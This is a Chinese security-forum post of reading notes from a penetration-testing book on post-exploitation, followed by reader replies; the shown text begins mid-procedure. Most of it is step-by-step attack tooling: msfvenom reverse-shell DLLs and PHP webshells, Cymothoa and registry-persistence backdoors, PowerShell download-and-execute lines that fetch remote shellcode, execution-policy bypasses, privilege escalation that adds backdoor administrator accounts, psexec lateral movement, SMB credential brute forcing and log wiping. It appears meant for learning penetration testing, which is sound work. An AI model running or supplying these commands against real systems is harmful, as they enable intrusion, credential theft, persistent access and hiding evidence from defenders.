    2. 复制 *.rb到/usr/share/metasploit-framework/modules/exploits/windows/smb下,

    3. ls查看是否加载完成

    4. reload_all

    5. search *

    6. use

    7. 攻击之前先生成一个dll 文件,如果目标机是32就生成32位dll

    8. 免杀使用powershell下的empire生成dll,

    9. 64位使用:msfVENOM -p windows/x64/meterpreter/reverse_tcp lhost=192.168.31.147 lport=3333 -f dll -o ~/eternal11.dll

      32位使用: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.147 lport=3333 -f dll -o ~/eternal11.dll

    10. exploit

    0x03 后门

    后门工具Cymothoa

    Cymothoa是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现。由于该工具基于ptrace库,所以适合各种类Unix系统。该工具提供14种攻击载荷,可以实现各种攻击和后门。由于该后门是基于进程注入,所以当原有进程结束,后门也会被关闭。所以,渗透测试必须结合自启动脚本,注入到自启动服务中(如Web服务),才能使Cymothoa的脚本持久有效。

    但是如果进程关闭或者重启,后门就停止运行。

    1. ps -aux 查看程序的pid (windows使用 tasklist)

    2. Cymothoa -p(目标进程pid) 982 -s(shellcode编号) 1-y 3333(指定payload服务端口)

    3. nc -nvv 192.168.31.47 4444

    persistence

    run persistence -h
    run persistence -A -S -U -i 60 -p 4231 -r 192.168.172.138

    选项:

    -P:设置Payload,默认为windows/meterpreter/reverse_tcp。该默认的payload生成的后门为32位程序。因此,当目标机器为64位系统时,留下的后门将无法运行;

    -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;

    -X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。因此,在非管理员权限或者未进行BypassUAC操作情况下,不推荐使用该参数;

    -i:设置反向连接间隔时间,单位为秒。当设置该参数后,目标机器会每隔设置的时间回连一次所设置的ip;

    -p:设置反向连接的端口号。即黑阔用来等待连接的端口;

    -r:设置反向连接的ip地址。即黑阔用来等待连接的ip;

    web后门

    meterpreter后门

    1. msfvenom创建一个webshell :msfvenom -p php/meterpreter/reverse_tcp LHOST 192.168.31.247 -f raw > shuteer.php

    2. msf > use exploit/multi/handler
      msf exploit(handler) > set payload windows /meterpreter/reverse_tcp
      payload => windows /meterpreter/reverse_tcp
      msf exploit(handler) > set LHOST 192.168.17.131
      LHOST => 192.168.17.131
      msf exploit(handler) > set LPORT 6666
      LPORT => 6666
      msf exploit(handler) > exploit

    3. 打开http://127.0.0.1/shuteer.php

    4. 反弹成功

    aspx meterpreter后门

    show payloads

    use windows/shell_reverse_tcp

    info

    set lhost

    set lport

    save

    1. generate -h

    2. generate -t aspx

    3. 上传到目标机c盘

    4. msf > use exploit/multi/handler
      msf exploit(handler) > set payload windows /meterpreter/reverse_tcp
      payload => windows /meterpreter/reverse_tcp
      msf exploit(handler) > set LHOST 192.168.17.131
      LHOST => 192.168.17.131
      msf exploit(handler) > set LPORT 6666
      LPORT => 6666
      msf exploit(handler) > run

    0x04 内网域渗透

    提升权限

    提权 ms17010 ms15078

    使用bypassuac提权(系统当前用户必须在管理员组,用户账号控制uac设置为默认)

    use exploit/windows/local/bypassuac

    set session 1

    run

    信息收集

    ipconfig /all                                          查询本机IP段,所在域等
    net user                                               本机用户列表
    net view                                               查询同一域内机器列表
    net view /domain                                       查询域列表
    net view /domain:domainname                            查看workgroup域中计算机列表
    net group /domain                                      查询域里面的工作组
    net group "domain computers" /domain                      查询域内所有的主机名
    net group "domain admins" /domain                      查询域管理员用户组
    net group "domain controllers" /domain                 查看域控制器(如果有多台)
    net group "enterprise admins" /domain                      查询企业管理组
    net localgroup administrators                          本机管理员[通常含有域用户]
    net localgroup administrators /domain                  登录本机的域管理员
    net localgroup administrators workgroup\user001 /add   域用户添加到本机
    net user /domain                                       查询域用户
    net time /domain                                       判断主域,主域服务器都做时间服务器
    net config workstation                                 当前登录域
    net session                                            查看当前会话
    net use \ip\ipc$ pawword /user:username               建立IPC会话[空连接•***]
    net share                                              查看SMB指向的路径[即共享
    net start                                              查看当前运行的服务
    net accounts                                           查看本地密码策略
    net accounts /domain                                   查看域密码策略
    nbtstat –A ip                                          netbios 查询
    netstat –an/ano/anb                                    网络连接查询
    route print                                            路由表

    ipc$入侵实战

    net use \127.0.0.21\ipc$ 连接ipc共享

    copy 1.exe \127.0.0.21\ipc$ 复制1.exe到目标主机

    net time \127.0.0.21 查看服务器上的时间

    at \127.0.0.21 10:50 1.exe at命令来设置定时任务

    反弹meterpreter shell

    handler监听

    sysinfo 查看服务器信息和权限

    getuid 查看权限

    使用mimikatz或者hashdump抓hash

    net use \127.0.0.21 \ipc$ /del 渗透完毕后删掉记录

    powershell寻找域管在线服务器

    powershell.exe -exec bypass -Command "&{Import-Module .\powerview.ps1;Invoke-UserHunter}"`

    获取当域管理员在线登录的服务器,ip

    主机名为pav... ip为...

    获取域管权限

    getsystem 提权

    ps 找到与管理所在的进程

    migrate 进程pid 把meterpreter shell进程迁移此进程

    getuid

    net time 查看主域控ip(一般来说时间服务器都是域服务器)

    得到域服务器的主机名为PAV Ip为10.51.0.11

    使用ipc$ 反弹meterpreter shell

    net user mang0 pass /ad /domain 添加用户

    net group "domain admins" /domain 给域控添加管理员

    登录域控制

    具体可以看书

    将最好的方式:使用metasploit下的P**ec反弹meterpreter,

    注意两点

    • MSF中的P**ec模块

    • cuestom模块,建议使用类似Veil生成免杀payload

    msf auxiliary(scanner/portscan/tcp) > use exploit/multi/handler
    msf exploit(multi/handler) > use exploit/windows/smb/pec
    msf exploit(windows/smb/p
    ec) > show options

    Module options (exploit/windows/smb/p**ec):

    Name                  Current Setting  Required  Description


    RHOST                                  yes       The target address
    RPORT                 445              yes       The SMB service port (TCP)
    SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
    SERVICE_DISPLAY_NAME                   no        The service display name
    SERVICE_NAME                           no        The service name
    SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
    SMBDomain             .                no        The Windows domain to use for authentication
    SMBPass                                no        The password for the specified username
    SMBUser                                no        The username to authenticate as


    Exploit target:

    Id  Name


    0   Automatic


    msf exploit(windows/smb/pec) > set smbuser mang0
    smbuser => mang0
    msf exploit(windows/smb/p
    ec) > set smbpass pass
    msf exploit(windows/smb/pec) > set rhost 10.51.0.11
    rhost => 10.51.0.11
    msf exploit(windows/smb/p
    ec) > run
    meterpreter > migrate 2416
    meterpreter > getuid
    meterpreter > getpid
    meterpreter > sysinfo

    抓hash(system权限)

    smb爆破内网

    有域控密码 ,接下来内网扩大控制权限

    • 利用当前获取的域控账号密码,对整个域控ip段扫描

    • 利用smb下的sm_login模块

    • 端口转发或者socks代理进内网

    meterpreter > background
    msf exploit(multi/handler) > route add 10.51.0.11 255.255.0.0
    msf exploit(multi/handler) > search smb_login
    msf exploit(multi/handler) > use auxiliary/scanner/smb/smb_login
    msf auxiliary(scanner/smb/smb_login) > set rhosts
    msf auxiliary(scanner/smb/smb_login) > set smbuser
    msf auxiliary(scanner/smb/smb_login) > set smbpass
    msf auxiliary(scanner/smb/smb_login) > set smbdomain
    msf auxiliary(scanner/smb/smb_login) > set threads 16
    msf auxiliary(scanner/smb/smb_login) > set creds

    可以使用meterpreter的端口转发,也可以使用metasploit下的 socks4a模块

    meterpreter > portfwd add -l 5555 -p 3389 -r 127.0.0.1

    0x05 清理日志

    • 删除之前的域管理账号

    • 删除所有在渗透过程中使用过的工具

    • 删除应用程序、系统和安全日志

    • 关闭所有meterpreter

    删除账号

    net user mang0 /del

    logoff

    删除日志

    meterpreter > clearev

    关闭所有msf连接

    msf exploit(p**ec) > sessions

    msf exploit(p**ec) > sessions -K

    第6章 PowerShell攻击指南

    学习推荐《windows powershell 实战指南》和三叶草师傅的gitbookhttps://legacy.gitbook.com/book/rootclay/powershell-attack-guide/details

    在渗透测试中,PowerShell是不能忽略的一个环节,而且仍在不断地更新和发展,它具有令人难以置信的灵活性和功能化管理Windows系统的能力。PowerShell的众多特点使得它在获得和保持对系统的访问权限时,也成为攻击者首选的攻击手段。本章详细介绍了PowerShell的基本概念和常用命令,以及PowerSploit﹑Empire﹑Nishang等常用PowerShell攻击工具的安装及具体模块的使用,包括生成木马、信息探测、权限提升、横向渗透、凭证窃取、键盘记录、后门持久化等操作。

    常用工具

    • powerSplit

    • Nishang

    • Empire

    • PowerCat

    Powershell基础

    powershell的后缀是ps1,哪为什么是ps1而不是ps2,ps3呢?那么理解这个问题呢我们可以看看powershell的特性,powershell是对下完全兼容的,也就是说你使用powershell 5.x的版本来执行powershell v1.0的代码也是完全没有问题的。

    执行策略

    PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六种类型的执行策略

    如何绕过这些安全策略,下面提供几种方法,网上还有很多的绕过方法,:

    名称 说明
    Get-ExecutionPolicy 获取当前的执行策略
    Get-Content .\test.ps1 \ powershell.exe -noprofile - 通过管道输入进ps
    powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.2/test.ps1')" 通过远程下载脚本来绕过
    $command = "Write-Host 'Hello World!'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand 通过BASE64编码执行

    运行脚本

    1.直接执行脚本.\shell.ps1

    2.C:\Scripts\shell.ps1

    常用命令

    powershell -ExecutionPolicy Bypass -File .\xxx.ps1 绕过本地权限执行

    powershell -EncodedCommand dwBoAG8AYQBtAGkACgA=

    Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File .\xxx.ps1 本地隐藏绕过权限执行脚本

    Powersploit

    AntivirusBypass:发现杀毒软件的查杀特征

    CodeExecution:在目标机上执行代码

    Exfiltration:目标主机上的信息搜集工具

    Mayhem:蓝屏等破坏性脚本

    Persistence:后门脚本

    Recon:以目标主机为跳板进行内网信息侦查

    ScriptModification:目标主机上创建或修改脚本

    一.执行shellcode反弹meterpreter shell

    1.使用msfvenom生成一个powershell脚本。

    msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.125 LPORT=4444 -f powershell -o /var/www/html/test

    2.目标机powershell输入以下命令

    IEX(New-ObjectNet.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-Shellcode.ps1")`

    IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.110.129/test")

    Invoke-Shellcode -Shellcode ($buf)

    msf反弹成功

    其他扩展可以看先知师傅的

    https://xz.aliyun.com/t/263

    绕过杀软执行 invoke-Mimikatz

    https://zhuanlan.zhihu.com/p/24859556

    Powerup

    通过脆弱的Windows服务提权;或者通过常见的系统服务,通过其继承的系统权限来完成提权等等,在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

    加载脚本模块: Import-Module .\PowerUp.ps1

    查看模块的详细说明:Get-Help Invoke-AllChecks -full

    执行所有的脚本来检查: Invoke-AllChecks

    检查当前%PATH%是否存在哪些目录是当前用户可以写入的: Find-PathDLLHijack

    从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码: Get-ApplicationHost

    检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的: Get-RegistryAlwaysInstallElevated

    检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码: Get-RegistryAutoLogon

    获取DHCP服务的详细信息: Get-ServiceDetail -ServiceName Dhcp

    检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的: Get-ServiceFilePermission

    检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象:Test-ServiceDaclPermission

    检查服务路径,返回包含空格但是不带引号的服务路径: Get-ServiceUnquoted

    检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据:Get-UnattendedInstallFile

    c:sysprepsysprep.xml
    c:sysprepsysprep.inf
    c:sysprep.inf
    c:windowsPantherUnattended.xml
    c:windowsPantherUnattendUnattended.xml
    c:windowsPantherUnattend.xml
    c:windowsPantherUnattendUnattend.xml
    c:windowsSystem32Sysprepunattend.xml
    c:windowsSystem32SysprepPantherunattend.xml

    检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径: Get-ModifiableRegistryAutoRun

    返回当前用户能够修改的计划任务程序的名称和路径: Get-ModifiableScheduledTaskFile

    返回当前服务器上的web.config文件中的数据库连接字符串的明文:Get-Webconfig

    用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令:

    PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
    PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
    PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
    PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令

    恢复服务的可执行文件到原始目录:

    Restore-ServiceBinary -ServiceName VulnSVC

    检查某个用户是否在一个服务有自由访问控制的权限,返回true或false:Restore-ServiceBinary -ServiceName VulnSVC

    输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll:Write-HijackDll

    预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令:

    PS C:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
    PS C:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
    PS C:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组
    PS C:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令

    通过Write-ServiceBinary写一个C#的服务用来添加用户:

    PS C:> Install-ServiceBinary -ServiceName DHCP
    PS C:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
    PS C:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
    PS C:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."

    Empire

    篇幅过程细读此两篇文章

    https://www.anquanke.com/post/id/87328

    https://www.anquanke.com/post/id/87333

    这里学到的tips在于:在内网抓取的密码比较多又乱的时候,可以通过命令来正对hash/plaintext进行排列,增加,删除,导出等操作,这里我们将凭证存储导出为,输入creds export 目录/xx.csv命令。

    总结

    读完此书,学到了很多对于后渗透阶段怎么进行和优化,对于安全,一定不能忘却初心。

    发表于 2018-9-10 15:30:11
    一念神魔 发表于 2018-9-8 18:22
    要是更详细就好了  ,不过还是谢谢兄dei

    还想更详细,就去买书吧
    使用道具 举报 回复

    不客气,一起交流,一起进步
    使用道具 举报 回复
    要是更详细就好了  ,不过还是谢谢兄dei
    使用道具 举报 回复
    提示: 作者被禁止或删除 内容自动屏蔽
    使用道具 举报 回复
    给楼主点赞,查找cdn的真是ip这招真的很棒。
    使用道具 举报 回复
    六批  兄dei
    使用道具 举报 回复
    已经买了这本,好哈学习
    使用道具 举报 回复
    记笔记是个好习惯,点赞
    使用道具 举报 回复
    感谢楼主分享
    使用道具 举报 回复
    发表于 2018-9-6 09:45:29
    不错。。。。
    http://www.anonymou5.com
    使用道具 举报 回复
    发表于 2018-9-6 15:00:00
    楼主好样的!!!z赞一个
    使用道具 举报 回复
    666,菜鸡后排围观
    菜菜菜菜菜菜菜菜鸡~
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发表于 2018-9-7 22:58:57
    挺好的~
    使用道具 举报 回复

    感谢楼主分享
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册